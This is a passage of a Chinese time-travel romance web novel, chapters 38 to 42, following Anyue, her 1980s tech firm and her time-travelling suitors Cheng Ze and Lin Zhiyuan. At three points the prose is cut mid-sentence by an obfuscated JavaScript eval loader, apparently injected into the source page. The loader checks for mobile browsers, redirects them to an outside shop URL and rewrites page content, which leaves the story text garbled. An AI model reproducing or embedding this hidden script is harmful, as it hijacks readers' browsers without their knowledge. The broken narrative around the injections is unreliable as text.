她又打字:“昨天那个问题,我撤回是因为觉得问得太蠢了。” 还是没回复。 * 二月,安玥带着林知远去了首都。 研讨会开了三天,安玥做了一场主题发言,林知远做了两场技术报告。第三天的晚宴上,邮电部的一位司长端着酒杯过来,跟安玥碰了碰杯。 “安总,”他说,“部里正在起草一个规划,可能要建一个全国性的数据通信网。你们的终端,正好用得上。” 安玥端着酒杯,没说话。 “我们想邀请精时科技参与前期的技术论证。”司长说,“不是供货商的身份,是技术合作方。” 安玥看了一眼林知远。 林知远站在旁边,和安玥对视一眼。 “谢谢司长。”安玥说,“我们回去商量一下。” 晚宴结束,两人站在饭店门口等车。 二月的首都,风还带着寒意。安玥裹紧大衣,看着街上的车流。 “林师兄。” “嗯。” “你怎么想?” 林知远沉默了几秒。 “技术论证,需要的时间长。”他说,“投入大,短期内看不到产出。” 安玥点点头。 “但是,”林知远转过头看着她,“如果能参与进去,精时的技术积累,能往前跳一大截。” 安玥迎着他的目光。 “你想接?” 林知远没有立刻回答。他看着远处,过了好一会儿才开口。 “安玥,”他说,“你记不记得,咱们刚搬进小楼那会儿,你说过一句话?” 安玥愣了一下。 “你说,‘咱们要做的,不是跟别人抢饭吃,是把饭桌子做大’。”林知远转回头看着她,“现在这张桌子,可能比咱们当初想的,还要大。” 安玥看着他,忽然笑了。 “那就接。” 林知远点点头,没再说话。 回省城的火车上,安玥靠着窗,看着外面的田野发呆。 林知远坐在对面,低头看一本技术杂志。 窗外的阳光落进来,把车厢照得暖洋洋的。安玥看了会儿风景,忽然开口:“林师兄。” 林知远抬起头。 “那天程则去找你,”安玥说,“聊了什么?” 林知远的手指顿了一下。 “聊技术。”他说。 安玥看着他。 林知远迎着那道目光,沉默了几秒。 “还有别的吗?”安玥问。 林知远把杂志合上,放在小桌上。 “他问我,知不知道你心里有人。” 安玥的睫毛动了一下。 “我说知道。”林知远说,“他问我见没见过那个人,我说没见过。” 安玥没说话。 “他还说,”林知远看着她,“他说咱们的产品按这个时代的标准,已经做到顶了。” 安玥愣了一下:“什么意思?” 林知远没有回答。他重新翻开杂志,低头看起来。 安玥看着窗外,脑子里乱糟糟的。 火车轰隆隆地往前开,窗外的田野飞快地向后退。 傍晚,安玥回到宿舍。 她坐在床上,调出系统面板。 Z的头像亮着。 对话框里有一条消息,发过来的时间是两个小时前: “昨天在忙。那个问题不蠢。” 窗外的天慢慢暗下来。 安玥打字:“你去哪儿了?” 那边回复:“处理一些事。” “处理完了?” “暂时。” 安玥看着这两个字,忽然不知道还能说什么。 过了很久,她打字:“今天月亮挺亮的。” 那边沉默了几秒。 然后屏幕上跳出一行字:“替我看一眼。” 安玥站起来,走到窗边。 月亮挂在半空中,又圆又亮。 她打字:“看了,今晚的月亮很好看。” 那边回复:“好。” 头像暗下去。 39. 第 39 章 三月中旬,精时科技园门口的桃花开了。 李红英每天上班都要从那排桃树下过,顺手折几枝插在办公室的搪瓷缸里。安玥的办公桌上也有一枝,粉白色的,开得正好。 “程先生又来了。”王丽娟推门进来,把一沓文件放在桌上,“在门口呢。” 安玥手里的笔顿了一下。 “他说来送东西。”王丽娟顿了顿,“送了一束花。” 安玥抬起头。 王丽娟欲言又止地说:“红玫瑰,用报纸包着。李红英在门卫那儿看见了,嚷得全厂都知道。” 安玥放下笔,站起来走到窗边。 园区门口停着那辆黑色轿车。程则靠在车门上,手里捧着一束花,正跟门卫老头说话。老头笑得见牙不见眼,一个劲儿往安玥办公室这边指。 安玥推门出去。她走到门口,程则已经看见她了,直起身子,脸上带着笑。 “安厂长。”他把花递过来,“路过花店,顺手买的。” 安玥低头看了看那束花。包得挺仔细,不是顺手的样子。 “程则。”她抬起头,“你是不是有点太招摇了?” 程则看着她,目光很坦荡:“我觉得不招摇。” 安玥噎了一下。 周围几个路过的员工放慢脚步,竖着耳朵往这边瞅。 安玥压低声音:“你能不能——” “不能。”程则打断她,笑了一下,“我想清楚了。再磨蹭,你就被人抢走了。” 安玥愣了一下。 程则把花往她怀里一塞,转身上车,降下车窗:“晚上一起吃饭?六点,我来接你。” 不等安玥回答,他一踩油门走了。 安玥抱着那束花站在门口,看着那辆车的背影。 李红英从门卫室窜出来,凑到她耳边:“他这是表白啊安玥!” 安玥斜她一眼:“你很闲?” “不闲不闲。”李红英缩了缩脖子,但眼睛还盯着那束花,“那个……我能问问,你打算怎么回吗?” 安玥没理她,抱着花往回走。 走到办公室门口,她停下脚步,低头看了看那束花。 还挺好看。 她推门进去,把花往桌上一放,继续看文件。 看了两行,视线又飘到那束花上。 她伸手拨了拨花瓣,嘴角动了一下,又压下去。 六点整,黑色轿车停在公寓楼下。 安玥换了一件米白色的毛衣,头发放下来,随便拢了拢。她站在镜子前照了照,又觉得自己太刻意,把头发重新扎起来。 扎完又觉得不如放着好看。 她站在镜子前,跟自己较了半分钟劲,最后把皮筋一扯,推门出去。 程则靠在车门上,看到她下来,目光在她身上停了两秒。 “真好看。”他说。 安玥拉开车门坐进去:“少来。” 程则笑了一声,发动车子。 吃饭的地方在城西,一个安静的小院子,门口没挂招牌。程则显然是提前订好的,服务员直接把他们领进最里面的包间。 菜一道道上来,都是她平时爱吃的。安玥愣了一下,抬头看程则。 程则正在给她倒茶,感觉到目光,抬起头:“怎么了?” “你怎么知道我爱吃什么?” 程则的手顿了一下,然后继续倒茶:“猜的。” 安玥盯着他。 程则把茶杯推过来,迎着她的目光:“谁说这些都是你喜欢吃的?我也爱吃行不行啊。” 安玥没说话。 这顿饭吃得有点安静。程则偶尔说几句,安玥应几声,更多时候是各吃各的。 吃完出来,天已经黑了。 程则开车送她回去。车停在公寓楼下,安玥解开安全带,手放在车门上,没动。 “程则。” “嗯?” “你明天还来吗?” 程则转头看她。 安玥看着前面,没回头:“我就是问问。” 程则沉默了两秒。 “来。”他说,“还要给某人送早饭呢。” 安玥推开车门,下车。 走出几步,身后传来他的声音:“安玥。” 她回头。 程则坐在车里,车窗降下来。 “你不想让我来的话,可以拒绝的。”他说,“我就不来了。” 安玥站在路灯下,看了他两秒。 “明天我想吃涉外酒店门口那家的早点。” 安玥说完转身走进楼里。 程则坐在车上,看着那扇门关上,嘴角慢慢弯起来。 接下来半个月,程则成了精时科技园的常客。 早上送早饭,中午陪吃饭,下午“路过”送点水果点心,晚上找各种理由留下来蹭饭。门卫老头见了他直接放行,王丽娟的账本上多了一栏“接待费——程先生”。 安玥被他弄得有点不知所措,但又莫名地不想拒绝。 那天林知远来办公室送材料,正好撞见程则坐在沙发上,面前摆着一盘切好的苹果。 林知远看了程则一眼,把材料放在安玥桌上,转身就走。 “林师兄。”安玥叫住他。 林知远停下,没回头。 “晚上一起吃饭?”安玥说,“食堂新来了个师傅,做的红烧肉不错。” 林知远顿了一下,余光扫了一眼程则。 程则正在吃苹果,闻言冲他礼貌一笑。 “不了。”林知远说,“研究部有事。” 他推门出去。 安玥看着那扇门关上,叹了口气。 程则放下苹果,看着她:“你叹什么气?” 安玥转过头:“你管得着吗?” 程则笑了一声,没接话。 过了一会儿,他忽然开口:“他挺好的。” 安玥一脸问号地看着程则。 “林知远。”程则解释说,“对你挺好的。” 安玥看着他:“你想说什么?” 程则迎着她的目光:“我想说,他喜欢你,你知道吧?” 安玥沉默了几秒。 “知道。” “那你——” “程则。”安玥打断他,“你到底想说什么?” 程则看着她,目光很深。 “我想说,你要是选他也行。”他说,“他很稳妥,应该能陪你很久。” 安玥愣住了。 程则站起来,把果盘往她面前推了推:“苹果切好了,记得吃。” 他往门口走。 “程则。”安玥叫住他。 他停下。 “你什么意思?” 程则没回头。 “就是字面的意思。”他说,“你高兴就行。” 他推门出去。 安玥坐在那里,盯着那盘苹果,半天没动。 那天傍晚,安玥在厂区后面的小河边找到程则。 他一个人站在那里,看着河水发呆。 安玥走过去,在他旁边站定。 程则转头看了她一眼,又转回去看河。 “你怎么知道这儿?”他问。 “我可是眼线遍布。”安玥说,“有人说你下午一个人往这边走了。” 程则应了一声。 两人沉默地站了一会儿。 安玥先开口:“你今天下午那话,什么意思?” 程则没回答。 “什么叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236385|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘选他也行’?”安玥转过头看着他,“你当我是什么?” 程则迎着她的目光。“当我没说过。” “说了就是说了。”安玥盯着他,“程则,你到底想干什么?天天来,送早饭送花,说追我——然后又说这种话?” 程则沉默了几秒。 “安玥,你有没有想过,如果有一天,你发现一个你以为永远不会见面的人,其实就在你身边,你会怎么办?” 安玥的心跳漏了一拍。 她面上很镇定:“那得看是谁。” 程则看着她,“一个认识了很久的人。一个……一直想见你的人。” 安玥没有说话。 风吹过河面,带起一阵凉意。远处传来几声鸟叫,然后归于寂静。 安玥沉默了很久才开口,声音很平静:“程先生,你什么时候走?” 程则的眼神黯淡了一瞬。 “快了。”他说。 安玥没说话。 程则转过头,看着河面。 “安玥。”他说,“有些事,不是我不想说,是现在不能说。” 安玥看着他。 “说了对你不安全。”他继续说,“等时机到了,你会知道的。” 安玥张了张嘴,想说什么,又咽回去。 最后她点了点头。 “行。”她说,“那我等着。” 程则转头看她,“你……” “别说了。”安玥打断他,“回去吧,该吃饭了。” 晚上,安玥回到宿舍,在床上坐了很久。 她调出系统面板,Z的头像亮着。 她盯着那个头像,脑子里乱糟糟的。 她打字:“如果你在我身边,你会告诉我吗?” 过了很久也没回复。 第二天早上,张秀兰神神秘秘地溜进安玥的办公室。 “安玥。”她压低声音,“我跟你说个事。” 安玥放下手里的文件:“又怎么了?” “昨天晚上,”张秀兰说,“我看见程先生了。” 安玥看着她。 “他在园区门口站着。”张秀兰说,“就站着,也不进来,就站在那儿,抬头看咱们这栋楼。” 安玥愣了一下。 “站了多久?” “不知道。”张秀兰说,“我十一点多睡觉的时候他还在。” 安玥没说话。 李红英这时凑过来:“安玥,你跟程先生到底怎么回事?” “没什么事。” “没什么事他天天来?”李红英不信,“没什么事他在楼下站着?” 安玥靠在椅背上,看着天花板。 “红英。”她开口。 “嗯?” “如果有一天,”安玥说,“有个人告诉你,他认识你很久了,他说要追你,你会信吗?” 李红英愣了一下。 “那得看是谁。”她说,“要是程先生那样的,我就信。” 安玥转头看她。 李红英难得认真一回:“他那眼神,你看不出来?看你的眼神,跟看别人不一样。” 安玥没说话。 李红英站起来,拍拍她肩膀:“你自己琢磨吧。我去产线了。” 她走到门口,又回头:“对了,程先生在楼下,给你带了早点。” 门关上。 安玥坐了一会儿,站起来走到窗边。 楼下停着那辆黑色轿车。程则靠在车门上,手里拎着一个纸袋,正往上看。 安玥推开窗。 四月的风灌进来,带着花香。 程则看见她,举起手里的纸袋晃了晃。 安玥看着他笑了,她冲楼下喊道:“我马上下来。” 40. 第 40 章 时间一晃到了五月初。 精时科技园里。 安玥推开会议室的门,长桌两边已经坐了十个人。李红英在跟张秀兰嘀咕什么,王丽娟低头翻着账本,陈卫国和吴建设凑在一起看图纸。林知远坐在靠窗的位置,左手缠着绷带,不知在思索着什么。 安玥在他旁边坐下。 “手怎么样了?”她压低声音。 “没事。”林知远说,“小伤。” 安玥看了他一眼,没再问。 王丽娟清了清嗓子,开始念数据:“一季度产值比去年同期增长百分之二百三十七,利润增长百分之三百零五。随身信使三代出货量突破十五万台,精时-1型个人终端出货量八千六百台——产能跟不上,订单积压了两千多台。” 她顿了顿,翻到下一页。 “研发投入比去年翻了一番。新厂房已经封顶,下个月可以投入使用。员工总数比年初增加了一倍。” 安玥点点头,站起来走到一块黑板板前。 “今天叫大家来,是有几件事要说。” 她在黑板上写了两个字:股份。 “精时走到今天,不是靠我一个人。”她说,“在座的,还有没在座的,都有份。” 李红英愣了一下,张秀兰瞪大了眼睛。 安玥拿起粉笔,在下面写了几行字。 “我跟王会计算了两个月,弄了个方案。”她说,“按工龄、贡献、岗位,把股份分下去。不是干股,是实股。签字画押,工商备案。” 会议室里安静了几秒。 陈卫国第一个开口:“安玥,你这是——” “别急,我还没说完。”安玥打断他,“这只是第一步。下一步,精时要注册成集团。再下一步,准备上市。” 吴建设手里的笔掉在桌上。 李红英张了张嘴,又闭上,又张开:“上……上市?” “对。”安玥看着她,“所以你们手里的股份,不是一张纸。是钱。是以后能换大钱的。” 没人说话。 安玥放下粉笔,拍拍手上的灰。 “具体的方案王会计会发给大家。”她说,“有什么问题,现在问。” 张秀兰举起手:“那个……我能问问,我大概能分多少吗?” 安玥笑了一下:“够你在老家盖三栋楼。” 张秀兰愣住了。 李红英捅了捅她:“盖三栋!你一个人住得过来吗?” 会议室里响起一片笑声。 安玥走回座位,余光扫到林知远。他低着头,看着自己缠绷带的手,不知道在想什么。 “林师兄。”安玥叫他。 林知远抬起头。 “你的那份,”安玥说,“我单独跟你谈。” 林知远看着她,点了点头。 会议结束,众人散去。安玥站在窗边,看着楼下的人三三两两往外走。 王丽娟走过来,站在她旁边。 “你刚才说的那个方案,”王丽娟压低声音,“程先生那边——” “他不过问。”安玥说,“他投的是钱,不是人。” 王丽娟点点头,又看了她一眼:“他在楼下。” 安玥愣了一下。 “站了快一个小时了。”王丽娟说,“就在大门口那棵槐树底下。” 安玥走到另一扇窗边,往下看。 园区门口那棵老槐树开满了白花。程则站在树荫里,穿着一件浅灰色的衬衫,抬头看着这栋楼。 安玥看了一会儿,转身往外走。 安玥走到门口,程则已经看见她了。 他脸上带着笑,把手里的纸袋递过来,“新口味,涉外酒店那家的。” 安玥接过来,没打开。 “你等了多久了?” “没多久。”程则说,“正好路过。” 安玥看着他。 程则迎着她的目光,笑容淡了一点。 “王会计告诉你的?” “嗯。” 程则没说话。 安玥低头看了看纸袋,又抬起头。 “程则。” “嗯。” “你今天有事吗?” 程则愣了一下。 “没事。”他说。 “那你陪我去个地方。”安玥说,“车间。” 精时的三号车间是新启用的,专门生产精时-1型终端的核心模块。安玥带着程则进去的时候,正好赶上下午班的交接时间,车间里人不多。 “这块是测试区。”安玥指着几台设备,“所有成品出厂前都要在这儿跑二十四小时——” 话没说完,角落里传来一声闷响。 安玥转头,看见一台测试设备冒出黑烟,紧接着蹿出火苗。 “着火了!” 有人喊起来。几个工人冲过去,有人拎灭火器,有人拉电闸。安玥也要往前冲,被程则一把拽住。 “别过去。”他睛盯着那台设备。 安玥顺着他的视线看过去——那台设备离她刚才站的位置不到五米。 火很快被扑灭了。车间主任跑过来,满头大汗:“安总,没事没事,可能是线路老化——” 安玥没说话。她脑子里响起一个好久都没怎么出现过的声音: 【检测到重度排异反应,建议立即撤离高危区域。】 系统的警告。 安玥赶紧调出系统面板,看了一眼防护Buff的状态。Buff还在,刚续费没多久,显示“生效中”。 生效中?那这火是怎么回事? 【检测到三个时空异常点共存,排异反应强度呈指数级上升。当前防护等级不足,建议立即撤离。】 安玥转头看程则。 程则也在看她。 “你听到了?”安玥问。 程则点了点头。 两人对视了几秒。 安玥脑子里飞快地转着。三个bug,她一个,林知远一个,程则一个。以前只有她自己的时候,防护还够用。后来林知远回来,两个bug共存,排异升级了,她买了更贵的防护,勉强扛住。 现在三个。 三个不属于这个时代的人,同时待在一个地方。 车间主任在旁边絮絮叨叨说着什么,安玥一个字都没听进去。 她想起那台设备起火的位置。想起如果她刚才站在那里,如果程则没拽她那一下—— “安玥。”程则的声音把她拉回来。 她抬起头。 程则看着她,“今天别待在这儿了,回去休息。” 安玥张了张嘴,想说什么,又咽回去。 最后她点了点头。 傍晚,安玥在办公室整理文件,门被推开。 李红英冲进来,脸色发白。 “安玥!林师兄出事了!” 安玥站起来,手里的文件掉在地上。 “实验室天花板掉下来一块,”李红英喘着气,“砸到他肩膀了。已经送医院了。” 安玥抓起外套就往外跑。 她开车往医院赶,脑子里一片空白。 【检测到重度排异反应——】 系统的警告又响起来。 安玥咬着牙,踩下油门。 拐过一个弯,前方突然响起刺耳的喇叭声。一辆卡车从侧面冲出来,直直朝她的车撞过来。 安玥猛打方向盘。 车擦着卡车的车头冲过去,撞在路边的护栏上。安全气囊弹出来,把她整个人拍在座椅里。 耳边嗡嗡作响。 她抬起头,透过碎裂的挡风玻璃,看见那辆卡车歪歪扭扭地开走了。 【重度排异反应持续升级,检测到您已被锁定——】 安玥靠在座椅上,大口喘着气。 过了很久,她推开车门,踉跄着下来。 车头撞瘪了,护栏弯了。路上几个行人跑过来,七嘴八舌地问她怎么样。 安玥摆摆手,掏出车上的电话,打给医院。 “林知远,精时科技的,刚才送过去的——他怎么样了?” 那边查了一下,告诉她:骨折了,没有生命危险,正在处理。 安玥挂了电话,靠在撞瘪的车门上,闭上眼睛。 安玥赶到医院的时候,林知远的胳膊已经打上石膏了。 他坐在急诊室的病床上,脸色有点白,看见安玥一额头伤地进来,愣了一下。 “你——” “车祸。”安玥说,“没事,没撞着。” 林知远盯着她看了几秒,然后移开视线。 “那个排异升级了。只有你我的时候,防护还能扛。现在三个——” 安玥点点头。 “我知道。” 林知远抬起头。 “你知道?”随即反应过来,“怪不得。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程则没说话。 安玥盯着他。 “你是Z。”她说,“对不对?” 程则看着她,过了很久,点了点头。 “是。” 安玥闭了闭眼睛。 她猜到了。从很久以前就猜到了。但真的听到他亲口说出来,还是不一样。 “多久了?”她问。 “什么?” “你什么时候来的?” 程则沉默了几秒。 “你第一次见我的时候。” “你怎么来的?” 程则看着她,“林知远应该和你说过,他曾经参与过的那个技术,我们集团一直在研究,去年有了突破。” 安玥没说话。 “可以短暂地回到过去。”程则继续说,“但技术还不稳定。” “不稳定?” 程则点了点头。 “每次待的时间有限。身体会承受很大的压力。时间越长,压力越大。到了一定程度,必须回去休养,等身体恢复才能再来。” 安玥看着他,忽然想起林知远说过的话——“他比我还糟。我至少能留在这儿。他——” “所以你不能一直待在这?” 程则看着她,“不能。” “什么时候走?” “不确定。”程则说,“可能几天,可能几周。系统会提醒我。” 安玥没说话。 她低下头,看着手里的杯子。水已经不烫了,温温的。 程则没回答,他站起来,走到她面前,蹲下来,平视着她。 “我本想着再等等,等技术成熟,等你能接受,等——” “别说了。”安玥打断他。 程则闭上嘴。 安玥看着他,看了很久。 然后她伸出手,放在他脸上。 程则愣住了。 “傻子。” 41. 第 41 章 安玥醒过来的时候,窗外天还没亮。 她躺在床上,盯着天花板,脑子里把昨天的事过了一遍。车间起火,林知远被砸,车祸,煤气泄漏—— 三次。 如果不是程则拽那一把,如果不是她命大,现在她应该已经在某个地方躺着了。 她坐起来,披上外套推开门。 却发现程则站在门外的那棵老槐树下,背对着她。天边刚泛起鱼肚白,几颗星星还挂在半空。 安玥走过去,在他旁边站定。 “没睡?” 程则转头看她,目光在她脸上停了一瞬。 “睡了。”他说,“醒得早,出来散散步。” 安玥看着他眼眶底下那点青没戳穿他。 “程则。” “嗯。” “你今天是不是有话要说?” 程则看着她,沉默了几秒。 “等林知远出院。我有话跟你们俩说。” 安玥点点头,没问什么。 两人站在院子里,看着天慢慢亮起来。 远处传来几声鸟叫,清晨的风带着凉意,吹得槐树叶子沙沙响。 程则忽然开口。 “安玥。” “怎么?” “对不起。” 安玥转头看他。 “我本来以为,悄悄地来,悄悄地走,不会有事。没想到——” “没想到会这样。” 安玥看着他侧脸的轮廓,看着他眼底那点几乎漫上来的情绪,忽然想起Z在系统里发的那条消息:“我可能要离开一段时间。” 那时候她以为只是普通的离开。 现在才知道,那是他跨越了几百年的时光,一步一步走到她面前。 她伸出手,拉住他的袖子。 程则愣了一下,低头看她。 “别说了,该回去吃早饭了。” 下午,安玥和程则一起去医院接林知远。 林知远坐在病床上,左胳膊打着石膏,看见两人一起进来,他的目光在程则身上停了一瞬,又移开。 “手续办好了。”安玥把一沓纸递给他,“回去养着,研究部那边先交给吴建设。” 林知远接过纸,点了点头。 程则站在门口,没进来。 林知远看了他一眼,又看向安玥。 “他找你了?” 安玥点点头。 林知远没再问。 三人走出医院,天阴了下来。 程则开车,林知远坐副驾驶,安玥坐后座,一路上谁都没说话。 车开到精时科技园门口,程则没进去,拐了个弯,往城西开。 林知远从后视镜里看了安玥一眼。 车停在那天晚上那个小院子门口。 三个人坐在屋里。 程则关上门,在林知远对面坐下。安玥坐在他们中间的位置,面前摆着三杯茶。 窗外的天更暗了,风把院子里的树吹得哗哗响。 程则先开口。 “今天叫你们来,”他说,“是有件事要说清楚。” 林知远靠在椅背上,看着他。 “我叫程则,也就是Z,来自未来新纪元联邦,无限科技集团的继承人。” 林知远的睫毛动了一下。 程则继续说。 “我来这里,是因为她。” 他看向安玥。 “集团的时空回溯技术去年有了突破。”程则说,“我用了第一个实验名额。” 林知远开口了。 “你知道这样做的后果吗?” 程则看着他。 “知道。”他说,“时空异常点共存,排异反应会指数级上升。轻则重伤,重则被规则抹杀。” “那你还来?” 程则沉默了几秒,声音有点哑:“我想亲眼看看她。哪怕一眼。” 林知远没说话。 安玥低下头,看着面前那杯茶。 程则深吸一口气,“但我没想到会这么严重。”他说,“三个bug同时存在,排异的强度超出了预期。昨天的三次,只是开始。如果不解决,我们三个都可能被抹杀。” 堂屋里很安静,窗外的风更大了。 安玥抬起头,“我知道。” 程则愣了一下。 安玥看着他,“从你第一次来,我就觉得不对劲。” 程则注视着安玥,神色有些惊异。 安玥继续说:“你看我的眼神,你说的那些话,好像比我自己还了解我,后来就慢慢猜到了。” “那你怎么——” “怎么不拆穿你?”安玥接过话,“我倒是想问,你倒是说啊。” “你每次都说‘不是时候’。”安玥的声音有点抖,“我等了多久,你知道吗?” 程则低下头。 林知远在旁边咳嗽了一声。 “现在不是抒情的时候。”他说,“我有办法。” 两人同时看向他。 林知远靠在椅背上,用没受伤的那只手从怀里掏出一个东西。 一个巴掌大的笔记本。 安玥愣住了。 “这不是——” “被撕掉的笔记。”林知远说,“那十几页,我留了一份。” 程则盯着那个笔记本,又看看安玥,问道:“你知道那里面是什么?” 林知远看着他,点了点头。 “当年我在未来写的那些东西,”他说,“有一部分是关于时空异常的解决办法。” 他翻开笔记本,里面密密麻麻写满了公式和示意图。有些页面已经发黄,有些还夹着纸条。 “那时候我不知道自己会用上。”他说,“只是觉得应该记下来。” 安玥凑过去看,那些符号和公式她大部分都看不懂,但有一个词反复出现—— “时空锚点”。 林知远指着那四个字。 “这是我们唯一的办法。” 林知远把笔记本摊在桌上,用没受伤的那只手翻到某一页。 上面画着一个复杂的结构图,周围密密麻麻标注着参数和公式。 “时空锚点,”他说,“原理是把异常点的波动频率定在一个固定的范围内,让它和正常时空的波动同步。这样世界规则就会把它当成正常的一部分,不再排斥。” 程则盯着那幅图,眉头皱起来。 “这个我见过。集团的研究报告里有类似的理论,但一直没实现。” “因为你们的方向错了。”林知远翻到另一页,“你们用的是主动屏蔽,想用更强的能量对抗排异。但这个思路从根本上就是错的——你越对抗,世界意志越觉得你是威胁。” 他指着图上的一行小字。 “正确的做法是伪装,是融入。” 程则沉默了几秒。 “需要什么?” 林知远翻到最后几页,上面列着一串材料和参数,“难的是技术。按这个时代的标准达不到。” 程则看着他,“我能解决,我可以从那边带材料过来。” 林知远摇摇头。 “不行。任何从未来带过来的东西,都会加剧排异。你带来的那块样品,已经让监测数据往上跳了不少。” 程则愣了一下。 林知远看着他说:“程则,你也是bug。你带来的东西,也是bug。” 程则一时语塞。 安玥在旁边听着,忽然开口。 “那怎么办?” 林知远沉默了几秒。 过了很久,程则开口:“我有个办法。” 两人看着他。 “我回去。”程则站起身,“我离开这个时空,排异强度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249905|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会降回两个bug的水平。你们有足够的时间把锚点做出来。” 安玥有些惊讶,皱眉道:“这行吗?就没有别的办法?” “本来就是因为我。”程则打断她,“我不来,就不会这样。” 安玥站起来,盯着他,“你回去?回哪儿?” 程则没说话。 安玥走到他面前,看着他。 “你走了还能回来吗?” 程则笑道:当然能啊,虽然技术还不成熟,那下次……” 安玥看着他,“所以你的办法就是跑?” 程则点点头,无奈道:“这是个不错的办法。” 安玥转身走回桌边坐下,“不行,换一个。” 程则看着她。 “安玥。” 林知远忽然开口:“还有一个办法。” 两人看向他。 林知远指着笔记本上的一页。 “三个人一起做。”他说,“三个bug,频率不一样。如果能调成同步,排异反应反而会降低——因为规则会把我们当成一个整体。” 程则走过去,低头看那页。 “同步?” “对。”林知远说,“像三种音频波动,各自发声的时候很乱。但调成同一个频率,听起来就是一种声音。” 他抬起头看着两人,“我们三个,如果能把频率同步,排异反应会降到最低。甚至可能完全消失。” 安玥看着他。 “怎么做?” 林知远沉默了几秒。 “需要时间,需要一个稳定的环境,需要……” 他看着面前的两人,表情严肃道:“需要互相相信。” 那天晚上,三个人谁都没走。 程则把隔壁两间房收拾出来,林知远住一间,安玥住一间。他自己一间。 安玥躺在床上睡不着。 她调出系统面板,Z的头像亮着。 对话框里,还留着上次的对话。 “如果你在我身边,你会告诉我吗?” “会。但不是现在。” 她盯着那两行字,忽然笑了。 骗子。 说不是现在,结果今天就说了。 她翻了个身,看着窗外。 堂屋里传来一点动静,是躺椅嘎吱响了一下。然后是轻轻的脚步声,走到她门口停住了。 安玥屏住呼吸。 过了几秒,门外传来一声叹息,脚步声又远了。 她轻轻爬起来,走到窗边,掀开一角窗帘往外看。 程则站在院子里,背对着她抬头看月亮。 安玥看了一会儿,放下窗帘,躺回床上。 第二天早上,安玥推开门,院子里飘着豆浆的香味。 程则在院子里的树下,手里拎着几个纸袋。林知远坐在旁边的石凳上,用右手翻着那个笔记本。 “起来了?”程则看见她,脸上带着笑,“来吃早饭。” 安玥走过去,接过纸袋。 “你们两个起得倒早。” 林知远抬起头,看了她一眼。 “他五点就出去了。”他说,“说是怕你醒了饿着。” 安玥愣了一下,转头看程则。 程则正在分早点,没接话。 三个人围着石桌坐下,安玥咬了一口豆沙包,甜得正好。 她抬起头,看了看程则,又看了看林知远。 阳光透过树叶洒下来,落在他们身上,斑驳的光影晃来晃去。 远处传来汽车的喇叭声,是精时的班车从门口经过。 安玥也吃完了,她站起来。 “走吧。”她说,“回去干活。” 程则看着她,不解地问:“不是说要做那个锚点吗?” 林知远也站起来,拍了拍身上的灰,“对啊,去我的实验室弄。” 42. 第 42 章 精时科技园,研究部二楼。 林知远的实验室里,三个人围着那张工作台坐着。窗外阳光太刺眼,屋里拉着一半窗帘,光线有点暗。 安玥盯着桌上那个笔记本,看了半天,抬起头。 “所以现在要干什么?” 林知远用没受伤的那只手翻到某一页,指着上面的示意图。 “先测频率。”他说,“每个人的频率不一样。得知道三个点的具体数值,才能算怎么同步。” 程则站起来,走到工作台旁边,看着那堆仪器。 “用这些?” 林知远点点头。 “我这些年攒的。”他说,“有些是买的,有些是自己做的。精度肯定比不上你们那边的,但眼下只能凑合用了。” 程则没说话,低头看着那些仪器。示波器、信号发生器、还有几个叫不出名字的东西,外壳都有点旧,但擦得很干净。 安玥在旁边看着他们两个,忽然觉得有点魔幻。 一个是从未来来的集团继承人。一个是穿越回来又穿回去再穿回来的天才。两个人凑在一起,研究怎么用八十年代的仪器解决时空排异。 林知远抬起头,看着程则。 “有个问题。” 程则看着他,“你说。” 林知远说:“你那边的东西……你的身份,你的来历——你得跟安玥说清楚。” 程则愣了一下。 安玥也愣住了。 林知远靠在椅背上,看着程则。 “她等了你这么年,她有权利知道。” 程则沉默了几秒,看向安玥。 安玥迎着他的目光,等待他说下去。 “好吧,”程则无奈地笑笑,“无限科技集团,是我祖父创立的。最早是做能源的,后来扩展到生物、材料、信息……什么都做。我父亲接手的时候,集团已经是新纪元联邦排名前三的企业。” 他发觉自己神情有些骄傲,很快轻咳一声调整过来。 “到我这一代,集团下面有十七个子公司,业务覆盖三十七个星系殖民地。” 安玥愣了一下。 三十七个星系? 程则看着她,苦笑了一下。 “你这边是旧历。我们那边,人类早就走出太阳系了。” 安玥张了张嘴,不知道该说什么。 程则继续说。 “时空回溯技术,集团研究了四十多年。我接手之后,把预算翻了十倍,调了最好的团队。” 安玥有些疑惑地看向程则。 程则移开视线说道:“你第一次在系统里发消息的时候,我就在看。那时候集团刚接入那个交易系统,我只是随便翻翻。然后看到你写的东西。” 他笑了一下。 “我从来没见过有人那么描述东西。好像那些东西都是有生命的。” 安玥想起自己之前在拍卖时添加的描叙。 程则转回头看着她。 “后来就一直看。看你发产品,看你写描述,后来忍不住和你聊天。” 林知远在旁边咳嗽了一声。 “差不多得了。”他说,“再往下说就肉麻了。” 程则愣了一下,笑了。 安玥也笑了。 